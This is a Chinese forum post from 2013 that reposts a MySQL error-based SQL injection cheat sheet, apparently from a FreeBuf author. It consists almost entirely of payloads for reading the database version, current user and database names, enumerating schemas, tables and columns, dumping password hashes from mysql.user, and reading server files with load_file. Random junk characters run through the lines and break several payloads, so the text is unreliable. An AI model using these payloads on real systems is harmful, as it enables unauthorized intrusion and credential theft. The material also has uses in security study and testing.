本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : W( x- h2 O* a; C
4 {1 s3 K! p( m5 v" \% q; F& Y! c$ G; G8 c1 \# s8 i$ K
Mysql暴错注入参考(pdf),每天一贴。。。
1 ?- P) X& [7 w4 F3 U" h7 ]! S' K! ?; O( `: Q
MySql Error Based Injection Reference
S# {6 Z+ H, R% w3 z[Mysql暴错注入参考]
7 L+ k# W) O: l: k7 q$ X9 \Authornig0s19920 d/ m3 _2 b1 |& G1 ~. t6 j- M
Blog:http://pnig0s1992.blog.51cto.com/
! h! f- G3 n( V! r! o) d6 d4 _TeAm:http://www.FreeBuf.com/. z/ }" l# Z( W, y2 j$ f
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功& V$ \* j$ y& i& }$ p+ B$ O
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
" h( d0 ~% Q7 g% Y) q查询版本:& V! D+ c: G6 m- Y; s
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
- q7 ^9 T& p `( ]8 ujoin+(select+name_const(@@version,0))b)c); z$ @# G/ y- ~4 D
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
5 y8 l, F P. bup by a)b)% [3 W* k1 ^0 a1 f1 |: W
查询当前用户:1 [5 `* _1 V! {9 _) L
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)/ f6 E7 n- g* K$ t4 V( `
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r2 Q# F/ \# f+ t6 C6 S$ R
and(0)*2))x+from+information_schema.tables+group+by+x)a) Q+ r6 q# i$ M0 q$ _% J, x
查询当前数据库:; D& r- o C k3 e7 D
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
: H# v0 I/ D& x0 Z0 |" A) D9 ZMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo! H ?& }5 u& W0 U( {+ c
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)( B4 ]4 n' [: {0 F9 [
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+/ I( `* B3 ?9 Z, B, x
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n" n/ j6 S2 Z, q/ k( j& o! K
顺序替换
& @4 {/ M/ k% ~; ^- D爆指定库数目:. [* @+ x: H, Z& K- \" S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t% u2 p# M K7 r9 R: I; J
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group! Q: n' q0 @+ e% ]9 L) h# P
+by+x)a)+and+1=1 0x6D7973716C=mysql2 B. k$ F9 Y3 C0 x8 b7 Y1 \; N
依次爆表:
, W1 G. L% a5 ?% Z) u' Land+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t% f5 x* O) y) ^1 S$ C
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
, q' B9 R ]9 e. x! Q: ^bles+group+by+x)a)+and+1=19 X' z. d, ]5 o0 w6 X7 N4 c% \- \: p
0x6D7973716C=Mysql 将n顺序替换1 q* y" p# }1 F7 W
爆表内字段数目:) h2 t# y. y- {3 j0 O: v& Z" a$ R
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
* Y' p, z j3 ~8 C1 H6 R+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
% w. m; |( W" @+ X) l8 A0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1' Y+ ?3 ?" L: a! w% h3 A2 F; ~9 z9 y
依次爆字段:" q4 ~3 s1 |9 c6 r9 v- I; l, j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where! p1 P" u! L# W3 s- f. H. `( Y
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" N7 T2 p! _0 b. dloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换9 h Y! O6 k/ V
依次暴内容:- k. X1 l- @) e4 _ H! I+ S4 X
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
5 U0 O* i, k3 }& J0 `+ Ima.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=17 v- r$ Y+ K+ q3 @
将n顺序替换
% R: e) `; i$ |4 y2 ~, j( M爆文件内容:
$ p' f. b: d8 \6 `5 L1 p1 T3 Dand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a! F3 Y3 P/ F7 l! y
from+information_schema.tables+group+by+a)b) 9 m5 R& F, h0 ^: @ E
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节3 F3 N9 C+ g) p0 N! j+ T& B& ^
Thx for reading.
: J4 }% [! v8 o# K4 C! j
' C+ b: G* |, O不要下载也可以, 3 q5 u# X' @& o* D r1 \
|